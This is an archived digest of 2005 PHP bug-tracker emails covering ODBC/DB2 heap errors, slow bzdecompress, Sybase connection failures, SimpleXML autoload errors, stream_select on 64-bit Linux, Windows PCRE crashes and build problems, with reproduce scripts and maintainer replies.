Fixed in CVS:http://bugs.php.net/fix.php?id=33184r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=33184r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=33184r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=33184r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=33184r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=33184r=support
Expected behavior:   http://bugs.php.net/fix.php?id=33184r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=33184r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=33184r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=33184r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=33184r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=33184r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=33184r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=33184r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=33184r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=33184r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=33184r=mysqlcfg

#33184 [Opn-Bgs]: odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C Not enough storag

 ID:   33184
 Updated by:   [EMAIL PROTECTED]
 Reported By:  brad_allgood at csgsystems dot com
-Status:   Open
+Status:   Bogus
 Bug Type: ODBC related
 Operating System: Windows XP
 PHP Version:  5.0.4
 New Comment:

SQL0954CNot enough storage is available in the application heap to
process the statement.

Explanation: All available memory for the application has been used.

The statement cannot be processed.

User Response: Terminate the application on receipt of this message.
Increase the database configuration parameter (applheapsz) to allow a
larger application heap. 


Previous Comments:


[2005-05-30 15:17:32] brad_allgood at csgsystems dot com

Description:

Appears to be a resurface of bug id #16221 from 4.1.2

After doing between 50-182 query's to IBM DB2 7 on Windows 2000
(localhost) with this script:

?
$connection = odbc_connect( test,db2admin, admin ) 
or die(Unable to connect to SQL server);
}
$result=odbc_exec($connection,set current sqlid = 'DB2ADMIN');

$counter=0;
while ($counter 5000)
{
$query=select * from tms_user;
$result=odbc_exec($connection,$query);
$temp=odbc_fetch_row ($result);
echo counter= $counter br;
odbc_free_result($result);
odbc_close_all();

$counter++;
}
?







-- 
Edit this bug report at http://bugs.php.net/?id=33184edit=1

#33070 [Opn-Ver]: bzdecompress inefficient

 ID:   33070
 Updated by:   [EMAIL PROTECTED]
 Reported By:  lindsay at bitleap dot com
-Status:   Open
+Status:   Verified
 Bug Type: Performance problem
 Operating System: Linux 2.6.10 kernel
-PHP Version:  5.0.3
+PHP Version:  5.*, 4.*
 New Comment:

I stand corrected, it's dead slow. :)



Previous Comments:


[2005-05-27 17:20:01] lindsay at bitleap dot com

sniper at php dot net:
I'll suggest a faster cpu is not the solution.  On the same machine,
the bunzip2 binary decodes the same 4MB bzip'd file in under 2
seconds.

time bunzip2 4M.bz2 
real0m1.198s
user0m1.162s
sys 0m0.034s

And bzdecompress did it in:
476 seconds or 7 minutes and 56 seconds.

Almost 8 minutes versus 2 seconds on the same machine with the same
data sample would suggest a problem with bzdecompress.



[2005-05-27 09:11:43] [EMAIL PROTECTED]

Get faster machine or use some other compression method than bz2.. (try
your test using the bunzip2 binary and you'll see it's equally slow..) 



[2005-05-23 21:19:02] lindsay at bitleap dot com

I noticed the new code was crashing.  You can reliably reproduce the
results by creating a file which compresses well.  I created my data
sample with the following commands:

dd if=/dev/zero bs=1024 count=65536 of=large
bzip2 large

When I run the script on this, I get the following crash:

file length 256K ran in: 0 seconds
file length 512K ran in: 1 seconds
file length 1M ran in: 1 seconds
file length 2M ran in: 2 seconds
file length 3M ran in: 2 seconds
file length 4M ran in: 3 seconds
file length large ran in: *** glibc detected *** double free or
corruption (!prev): 0x0853f418 ***



[2005-05-23 20:09:43] lindsay at bitleap dot com

I applied the patch suggested by jeff at vertexdev dot com.  I also
added another test for 64M data chunks.  Just to be sure, I verified
php's bzdecompress w/ the patch produces data creating the same md5sum
as bzunzip.

file length 256K ran in: 0 seconds
file length 512K ran in: 0 seconds
file length 1M ran in: 2 seconds
file length 2M ran in: 1 seconds
file length 3M ran in: 3 seconds
file length 4M ran in: 3 seconds
file length 64M ran in: 38 seconds



[2005-05-23 16:50:02] lindsay at bitleap dot com

It looks like BZ2_bzRead() requires a file to read from.  Would:

BZ2_bzDecompressInit

loop BZ2_bzDecompress  //decompress in chunks

BZ2_bzDecompressEnd

work?

The source code for BZ2_bzBuffToBuffDecompress seems like it could
almost be used if the BZ2_bzDecompress was looped through 'source' in
chunks.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/33070

-- 
Edit this bug report at http://bugs.php.net/?id=33070edit=1

#33183 [Opn-Bgs]: Sybase: Unable to allocate connection record

 ID:   33183
 Updated by:   [EMAIL PROTECTED]
 Reported By:  clarkjohnston at comcast dot net
-Status:   Open
+Status:   Bogus
 Bug Type: Sybase-ct (ctlib) related
 Operating System: RHEL4
 PHP Version:  4.3.9
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.




Previous Comments:


[2005-05-30 07:48:00] clarkjohnston at comcast dot net

Description:

After installing php-4.3.9-3.6.src.rpm I modified the php.spec file to
add --with-sybase-ct=/opt/sybase/OCS-12_5

Everything appeared to compile fine but after update installing the
rpms I get the error 
'Warning: sybase_connect(): Sybase:Unable to allocate connection
record.'
when attempting to run code.

I have done this before on RHEL3 and did not run into this problem.

The server is running fine and I can use isql from this server and
connect to SYBASESR


%configure \
--cache-file=../config.cache \
--with-config-file-path=%{_sysconfdir} \
--with-config-file-scan-dir=%{_sysconfdir}/php.d \
--enable-force-cgi-redirect \
--disable-debug \
--enable-pic \
--disable-rpath \
--enable-inline-optimization \
--with-bz2 \
--with-db4=%{_prefix} \
--with-curl \
--with-exec-dir=%{_bindir} \
--with-freetype-dir=%{_prefix} \
--with-png-dir=%{_prefix} \
--with-gd=shared \
--enable-gd-native-ttf \
--without-gdbm \
--with-gettext \
--with-ncurses=shared \
--with-gmp \
--with-iconv \
 --with-jpeg-dir=%{_prefix} \
--with-openssl \
--with-png \
--with-pspell \
--with-xml \
--with-expat-dir=%{_prefix} \
--with-dom=shared,%{_prefix} \
--with-dom-xslt=%{_prefix} --with-dom-exslt=%{_prefix} \
--with-xmlrpc=shared \
--with-pcre-regex=%{_prefix} \
--with-zlib \
--with-layout=GNU \
--enable-bcmath \
--enable-exif \
--enable-ftp \
--enable-magic-quotes \
--enable-sockets \
--enable-sysvsem \
--enable-sysvshm \
--enable-track-vars \
--enable-trans-sid \
--enable-yp \
--enable-wddx \
   
--with-pear=/usr/share/pear \
--with-imap=shared --with-imap-ssl \
--with-kerberos \
--with-ldap=shared \
--with-mysql=shared,%{_prefix} \
%{?_with_oci8:--with-oci8-instant-client=shared} \
%{?_with_mssql:--with-mssql=shared} \
%{?_with_mhash:--with-mhash=shared} \
--with-pgsql=shared \
--with-snmp=shared,%{_prefix} \
--with-snmp=shared \
--enable-ucd-snmp-hack \
--with-unixODBC=shared,%{_prefix} \
--with-sybase-ct=/opt/sybase/OCS-12_5 \
--enable-memory-limit \
--enable-shmop \
--enable-calendar \
--enable-dbx \
--enable-dio \
--enable-mbstring=shared --enable-mbstr-enc-trans \
--enable-mbregex \
--with-mime-magic=%{_datadir}/file/magic.mime \
$* || tail -300 config.log


Reproduce code:
---
script:
$server=SYBASESR;
$user=sa;
$pass=;
$con =sybase_connect($server,$user, $pass);








-- 
Edit this bug report at http://bugs.php.net/?id=33183edit=1

#33181 [Opn-Fbk]: SimpleXML causes __autoload error inside of autoloaded class file.

 ID:   33181
 Updated by:   [EMAIL PROTECTED]
 Reported By:  nickolasnikolic at hotmail dot com
-Status:   Open
+Status:   Feedback
 Bug Type: SimpleXML related
 Operating System: Windows
 PHP Version:  5.0.4
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip




Previous Comments:


[2005-05-30 07:31:39] nickolasnikolic at hotmail dot com

$messageIn-getAmazonXml source is the same as public function
sendFullRequest( $sendFullRequestURL = NULL ) - refactored. There is no
change between the file instantiated in the example and the current one.
The contents of the method are the same.



[2005-05-30 07:27:49] nickolasnikolic at hotmail dot com

Description:

Uncommenting the last line will produce an odd error affilliated with
__autoload:

Warning: __autoload(simplexml_load_file.class.php)
[function.--autoload]: failed to open stream: No such file or directory
in C:\Program
Files\SpikeSource\oss\httpd\htdocs\blindcore\classes\test.usage.only.php
on line 4

Fatal error: __autoload() [function.require]: Failed opening required
'simplexml_load_file.class.php' (include_path='.;C:\dev\php5\pear') in
C:\Program
Files\SpikeSource\oss\httpd\htdocs\blindcore\classes\test.usage.only.php
on line 4

The server is spikesource's stack. If you need more info, please
email.

I hope that it helps!

Reproduce code:
---
Source class:
  public function sendFullRequest( $sendFullRequestURL = NULL ){
// If the message to send to Amazon has been set.
if( $sendFullRequestURL ){
// Then sent the request to Amazon
$fileHolder = file_get_contents( $sendFullRequestURL );

// Return the message that has been set to Amazon for checking.
return $fileHolder;
}else{
// Otherwise, note that something unextpected has occurred.
return An error occurred in base class AmazonMessageOut.
\$sendFullRequestURL is not set.;
}
  }
}

Called Instance:

// Autoload classes
function __autoload( $className ){
   require_once $className . '.class.php';
}

$messageOut = new AmazonOperation();

$messageOut-setCurrentOperation( $messageOut-OperationItemLookup );
$messageOut-setCurrentResponseGroup( $messageOut-ResponseMedium );

$messageIn = new AmazonResponse();

$nowAString = $messageIn-getAmazonXml( $messageOut-itemLookup(
0375826688 ) );

echo $nowAString;

// $messageIn-loadXmlFile( $nowAString );

Expected result:

No errors and the Amazon XML loads

Actual result:
--
As was said, the following errors for PHP-native functions:

Warning: __autoload(simplexml_load_file.class.php)
[function.--autoload]: failed to open stream: No such file or directory
in C:\Program
Files\SpikeSource\oss\httpd\htdocs\blindcore\classes\test.usage.only.php
on line 4

Fatal error: __autoload() [function.require]: Failed opening required
'simplexml_load_file.class.php' (include_path='.;C:\dev\php5\pear') in
C:\Program
Files\SpikeSource\oss\httpd\htdocs\blindcore\classes\test.usage.only.php
on line 4





-- 
Edit this bug report at http://bugs.php.net/?id=33181edit=1

#32979 [Fbk-Opn]: socket stream opened with stream_socket_client doesnt work with stream_select

 ID:   32979
 User updated by:  mjpph at stardust dot fi
 Reported By:  mjpph at stardust dot fi
-Status:   Feedback
+Status:   Open
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez
 New Comment:

Ok the latest snapshot compiled cleanly on x86_64. The stream_select()
bug is still present in the latest snapshot.


Previous Comments:


[2005-05-30 15:37:52] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip

(the compile error should be fixed, plus it should be more 64bit
friendly :)




[2005-05-28 11:56:37] mjpph at stardust dot fi

Looks like this might also be a x86_64 problem. As I compiled the same
exact version on i386 FC3 and got it working even with openssl compiled
in.



[2005-05-28 11:37:29] mjpph at stardust dot fi

A problem. I'm running x86_64 FC3 and PHP and valgrind seems to be able
to do 32bit executables only.



[2005-05-28 11:06:46] mjpph at stardust dot fi

I guess you need valgrind --tool=callgrind. Also on another matter, I'm
unable to compile the newest CVS on FC3. I get this error even without
any configure options : libtool: link: `ext/libxml/libxml.lo' is not a
valid libtool object.



[2005-05-28 11:03:00] mjpph at stardust dot fi

Sure thing, just tell me what to do. I've never even heard of valgrind
before, but it seems FC3 comes with one.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#33184 [Bgs-Opn]: odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C Not enough storag

2005-05-30 Thread brad_allgood at csgsystems dot com

 ID:   33184
 User updated by:  brad_allgood at csgsystems dot com
 Reported By:  brad_allgood at csgsystems dot com
-Status:   Bogus
+Status:   Open
 Bug Type: ODBC related
 Operating System: Windows XP
 PHP Version:  5.0.4
 New Comment:

I do not think this is a db related issue as I can run the same query
from the command line on the server running the db and it works fine.

I cut and pasted the original bug report as I thought this may have
been overlooked in the php5 development cycle. 

I am running the php script on a windows xp machine using odbc calls
against a remote db2 machine using an explict connection string call.

$connect_string = Driver={IBM DB2 ODBC
Driver};HOSTNAME=host.domain.com;DATABASE=SOMEDB;PROTOCOL=TCPIP;PORT=X;;


Previous Comments:


[2005-05-30 15:29:25] [EMAIL PROTECTED]

SQL0954CNot enough storage is available in the application heap to
process the statement.

Explanation: All available memory for the application has been used.

The statement cannot be processed.

User Response: Terminate the application on receipt of this message.
Increase the database configuration parameter (applheapsz) to allow a
larger application heap. 



[2005-05-30 15:17:32] brad_allgood at csgsystems dot com

Description:

Appears to be a resurface of bug id #16221 from 4.1.2

After doing between 50-182 query's to IBM DB2 7 on Windows 2000
(localhost) with this script:

?
$connection = odbc_connect( test,db2admin, admin ) 
or die(Unable to connect to SQL server);
}
$result=odbc_exec($connection,set current sqlid = 'DB2ADMIN');

$counter=0;
while ($counter 5000)
{
$query=select * from tms_user;
$result=odbc_exec($connection,$query);
$temp=odbc_fetch_row ($result);
echo counter= $counter br;
odbc_free_result($result);
odbc_close_all();

$counter++;
}
?







-- 
Edit this bug report at http://bugs.php.net/?id=33184edit=1

#32029 [Opn-Fbk]: PCRE bugs under Windows XP

 ID:   32029
 Updated by:   [EMAIL PROTECTED]
 Reported By:  craig at unclecraig dot com
-Status:   Open
+Status:   Feedback
 Bug Type: PCRE related
 Operating System: win32 only
 PHP Version:  5CVS, 4CVS (2005-02-19)
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip




Previous Comments:


[2005-02-21 19:21:19] craig at unclecraig dot com

I'm developing on a Windows box for submission on a linux server so I
run the same code on both windows and linux, and can assure you that
for me both examples given run without problems on Linux.  I can accept
this is a PCRE bug/problem however, as the PCRE libraries are obviously
different on both platforms.  But running RegExp Coach on the same
platform caused no problems with the same input and expression.  This
suggests that it may be an interaction between PHP and the PCRE code -
perhaps in the way it allocates memory (look-aheads are quite memory
intensive I believe).

Nonetheless, if it is a PCRE bug, is there any way for PHP to raise an
error, rather than terminating without warning.  It took a long time to
track the bug down by stepping through code until the correct line was
isolated, as PCRE is implemented as a built-in function, it shouldn't
cause the runtime to terminate unexpectedly (ie crash).

The nature of any test is to implement controls and limit the
variables, as you can see from above, I have demonstrated
satisfactorily that the regular expression works without issue on
multiple platforms with the same input, except when running with PHP
under windows, i.e.

PHP, linux - Pass
RegEx Coach, Windows - Pass
PHP, Windows - Fail

This demonstrates that the PCRE code works successfully except under
the one condition where the variable was PHP.  It is unlikely therefore
that there is no issue with the way PHP uses the PCRE code, hence the
bug report was filed here.

Thank you



[2005-02-21 19:05:41] [EMAIL PROTECTED]

It works in the same way for me under Linux, so I think it's probably
PCRE problem and PHP has nothing to do with it.



[2005-02-21 18:59:41] craig at unclecraig dot com

Replacing '|\/\*((?!\*\/).)*\*\/|is' with '|\/\*.*?\*\/|is' is more
efficient preventing greedy matching rather than using look ahead. 
Nonetheless, the original reg-ex is still techinically valid and works
under linux, so it's still technically a bug.  At a guess there is a
memory issue when using look-ahead (and possible look-behind) in PCRE
under windows.



[2005-02-20 19:58:49] craig at unclecraig dot com

Please note I am aware of and use the 'basename' and 'dirname'
functions.  The above is just a reproduceable example to demonstrate
the the PCRE code is unreliable on Win XP, at least for me.



[2005-02-19 20:42:18] craig at unclecraig dot com

Description:

I'm using the latest snap shot (php4-win32-STABLE-200502191330) on Win
XP with Apache 2.

I've experienced a number of problems with pgrep_replace/pgrep_match
that only occur under windows.  The same code works fine under linux.

The example below is easily reproduced.  The expression splits a file
into it's components - path, name, ext (where ext can be multi part)

When the name part exceeds 12 chars, the expression no longer matches. 
This is not the case using RegExp Coach on the same platform.

I also get a problem when using the following:
// Remove C comments
$content = preg_replace( |\/\*((?!\*\/).)*\*\/|is, , $content);

This used to work fine, then suddenly it stopped, no error is returned
execution just halts here and the document returns no data.  I made no
modification to the PHP base, just some of the files that were being
parsed got a bit bigger so this code be a memory issue??? Still no
errors are generated php just halts.  (This is one reason I increased
the memory_limit directive in the php.ini file)

Please help, as I can no longer debug under windows, and I face having
to rewrite large chunks of code to avoid using preg functionality!

-- PHP.INI --
max_execution_time = 150
memory_limit = 64M
extension=php_filepro.dll
extension=php_mcrypt.dll
extension=php_mhash.dll
extension=php_mime_magic.dll
extension=php_zip.dll
[Debugger]
debugger.enabled=on
debugger.profiler_enabled=on
debugger.JIT_enabled=on
debugger.JIT_host = clienthost
debugger.JIT_port = 7869
mime_magic.magicfile = C:\Program Files\Apache
Group\Apache2\conf\magic

Reproduce code:
---
?php
echo

#33185 [NEW]: --enable-session=shared does not build

2005-05-30 Thread darryl-phpbugs at darrylmiles dot org

From: darryl-phpbugs at darrylmiles dot org
Operating system: Linux
PHP version:  5.0.4
PHP Bug Type: Compile Failure
Bug description:  --enable-session=shared does not build

Description:

Building with:

./configure --prefix=/opt/php5 --with-apxs2=/opt/apache2/bin/apxs
--enable-memory-limit --enable-track-vars --enable-safe-mode
--enable-shared=all --with-all=shared,all --with-mysql=shared
--with-zlib=shared --with-openssl=shared --with-bz2=shared
--with-gd=shared --with-freetype=shared --with-mssql=shared
--with-snmp=shared --enable-sockets=shared --enable-session=shared 
--enable-pcre=shared --enable-ob=shared --enable-posix=shared 21 | tee 
CONFIGURELOG

The --enable-session=shared causes the error with just
--enable-session the build is ok.  I compile all my extensions as
modules (like apache/httpd)

During linking:

ext/sqlite/sqlite.lo(.text+0x1376): In function `zm_startup_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sqlite.c:1015: undefined
reference to `php_session_register_module'
ext/sqlite/sess_sqlite.lo(.text+0x31e): In function `ps_gc_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:182: undefined
reference to `ps_globals'
ext/sqlite/sess_sqlite.lo(.text+0x34f):/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:182:
undefined reference to `ps_globals'
ext/sqlite/sess_sqlite.lo(.data+0x1c): In function `ps_open_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:46: undefined
reference to `php_session_create_id'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1



-- 
Edit bug report at http://bugs.php.net/?id=33185edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33185r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33185r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33185r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=33185r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=33185r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=33185r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=33185r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=33185r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=33185r=support
Expected behavior:   http://bugs.php.net/fix.php?id=33185r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=33185r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=33185r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=33185r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=33185r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=33185r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=33185r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=33185r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=33185r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=33185r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=33185r=mysqlcfg

#33186 [NEW]: --enable-all=shared

2005-05-30 Thread darryl-phpbugs at darrylmiles dot org

From: darryl-phpbugs at darrylmiles dot org
Operating system: All
PHP version:  5.0.3
PHP Bug Type: Feature/Change Request
Bug description:  --enable-all=shared

Description:

A feature request.

It would be nice to add an option to ./configure that would auto-detect
all possible extensions what could be built as modules and build them.

This would not override any --enable-xx or --disable-xxx directives.

This would not error the ./configure if a pre-requisite was not met, but
would indicate the module building was disabled.



-- 
Edit bug report at http://bugs.php.net/?id=33186edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33186r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33186r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33186r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=33186r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=33186r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=33186r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=33186r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=33186r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=33186r=support
Expected behavior:   http://bugs.php.net/fix.php?id=33186r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=33186r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=33186r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=33186r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=33186r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=33186r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=33186r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=33186r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=33186r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=33186r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=33186r=mysqlcfg

#32979 [Fbk-Opn]: socket stream opened with stream_socket_client doesnt work with stream_select

 ID:   32979
 User updated by:  mjpph at stardust dot fi
 Reported By:  mjpph at stardust dot fi
-Status:   Feedback
+Status:   Open
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez
 New Comment:

I could, but I get this:
valgrind: Can only handle 32-bit executables

On a 32bit executable and with openssl stream_select() worked ok. On a
64bit PHP executable it doesn't.


Previous Comments:


[2005-05-30 16:33:24] [EMAIL PROTECTED]

Can you now check it with valgrind, please?




[2005-05-30 15:53:58] mjpph at stardust dot fi

Ok the latest snapshot compiled cleanly on x86_64. The stream_select()
bug is still present in the latest snapshot.



[2005-05-30 15:37:52] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip

(the compile error should be fixed, plus it should be more 64bit
friendly :)




[2005-05-28 11:56:37] mjpph at stardust dot fi

Looks like this might also be a x86_64 problem. As I compiled the same
exact version on i386 FC3 and got it working even with openssl compiled
in.



[2005-05-28 11:37:29] mjpph at stardust dot fi

A problem. I'm running x86_64 FC3 and PHP and valgrind seems to be able
to do 32bit executables only.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#32979 [Opn]: socket stream opened with stream_socket_client doesnt work with stream_select

 ID:   32979
 User updated by:  mjpph at stardust dot fi
 Reported By:  mjpph at stardust dot fi
 Status:   Open
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez
 New Comment:

Also trying to compile valgrind on x86_64 results in:
checking for a supported CPU... no (x86_64)
configure: error: Unsupported host architecture. Sorry


Previous Comments:


[2005-05-30 16:56:03] mjpph at stardust dot fi

I could, but I get this:
valgrind: Can only handle 32-bit executables

On a 32bit executable and with openssl stream_select() worked ok. On a
64bit PHP executable it doesn't.



[2005-05-30 16:33:24] [EMAIL PROTECTED]

Can you now check it with valgrind, please?




[2005-05-30 15:53:58] mjpph at stardust dot fi

Ok the latest snapshot compiled cleanly on x86_64. The stream_select()
bug is still present in the latest snapshot.



[2005-05-30 15:37:52] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip

(the compile error should be fixed, plus it should be more 64bit
friendly :)




[2005-05-28 11:56:37] mjpph at stardust dot fi

Looks like this might also be a x86_64 problem. As I compiled the same
exact version on i386 FC3 and got it working even with openssl compiled
in.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#33185 [Opn-Csd]: --enable-session=shared does not build

 ID:   33185
 Updated by:   [EMAIL PROTECTED]
 Reported By:  darryl-phpbugs at darrylmiles dot org
-Status:   Open
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Linux
 PHP Version:  5.0.4
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

And quick fix for any PHP version: Don't compile ext/session as shared
(it doesn't make any sense + you loose some functionality)

Extensions which should never be compiled as shared:
ext/pcre, ext/openssl..any extension used by other extensions.



Previous Comments:


[2005-05-30 16:37:30] darryl-phpbugs at darrylmiles dot org

Description:

Building with:

./configure --prefix=/opt/php5 --with-apxs2=/opt/apache2/bin/apxs
--enable-memory-limit --enable-track-vars --enable-safe-mode
--enable-shared=all --with-all=shared,all --with-mysql=shared
--with-zlib=shared --with-openssl=shared --with-bz2=shared
--with-gd=shared --with-freetype=shared --with-mssql=shared
--with-snmp=shared --enable-sockets=shared --enable-session=shared 
--enable-pcre=shared --enable-ob=shared --enable-posix=shared 21 |
tee  CONFIGURELOG

The --enable-session=shared causes the error with just
--enable-session the build is ok.  I compile all my extensions as
modules (like apache/httpd)

During linking:

ext/sqlite/sqlite.lo(.text+0x1376): In function `zm_startup_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sqlite.c:1015: undefined
reference to `php_session_register_module'
ext/sqlite/sess_sqlite.lo(.text+0x31e): In function `ps_gc_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:182:
undefined reference to `ps_globals'
ext/sqlite/sess_sqlite.lo(.text+0x34f):/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:182:
undefined reference to `ps_globals'
ext/sqlite/sess_sqlite.lo(.data+0x1c): In function `ps_open_sqlite':
/usr2/BUILD/webtraffik/php-5.0.4/ext/sqlite/sess_sqlite.c:46: undefined
reference to `php_session_create_id'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1







-- 
Edit this bug report at http://bugs.php.net/?id=33185edit=1

#28227 [Com]: PHP CGI depends upon non-standard SCRIPT_FILENAME

2005-05-30 Thread masta at yazzy dot org

ID: 28227
Comment by: masta at yazzy dot org
Reported By: lukem at NetBSD dot org
Status: Assigned
Bug Type: CGI related
Operating System: *
PHP Version: 5CVS, 4CVS (2005-02-04)
Assigned To: fmk
New Comment:

I ran into this exact same issue with php4-cgi (ver 4.3.11) on FreeBSD
due to the SCRIPT_FILENAME problem. I found two ways to avoid the
non-standard CGI var is to hack the http server used (mini_httpd) or
use LukeM's modifications to php4. Considering that CGI is a standards
based domain, modification of the webserver to support non-standard CGI
variables is not proper, thus the modification to PHP itself is the
solution. I found that the the LukeM modification still allows for
proper execution in apache.

Can somebody in the php team fix this please?

Previous Comments:

[2005-02-11 03:04:50] [EMAIL PROTECTED]

The provided patch was not correct, according to Frank. Assigning to
him for now.

[2004-12-17 03:02:28] lukem at NetBSD dot org

This bug is still present in 4.3.10 as well.

Note that NetBSD's pkgsrc system has been using the patch I provided
for a few months now, and we haven't received any reports of problems
with PHP with that patch when running as a:
* php.so module under Apache
* php CGI under Apache
* php CGI under web servers that don't support the non-standard
SCRIPT_FILENAME

Please consider applying this patch, because without it PHP is useless
as a CGI except under Apache IIS.

[2004-12-13 20:33:52] jbardin at hsc dot usf dot edu

Problem still exists in PHP-5.0.2 on SunOS

[2004-05-03 19:47:16] shane at caraveo dot com

The current code does not rely on script_filename, script_filename is
only used as a shortcut if it is available. Otherwise, the init
function tries to determine the real script path, IF the fix_pathinfo
ini setting is on. The current code was only tested under apache and
iis.

That said, the patch looks ok, and very likely improves the situation,
but needs some good testing on apache/mod_php, apache/cgi, iis/isapi
and iis/cgi, with various changes of configuration in php.ini (discard
path, fix pathinfo, etc.). Unfortunately I have zero time.

-Shane

[2004-05-03 04:25:48] lukem at NetBSD dot org

Here's the patch:

http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/pkgsrc/www/php4/patches/patch-aa?rev=1.10content-type=text/plain

The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/28227

--
Edit this bug report at http://bugs.php.net/?id=28227edit=1

#33188 [NEW]: Cannot instantiate a DOTNET object

2005-05-30 Thread sean at iplus dot plus dot com

From: sean at iplus dot plus dot com
Operating system: Windows 2000
PHP version:  5.0.4
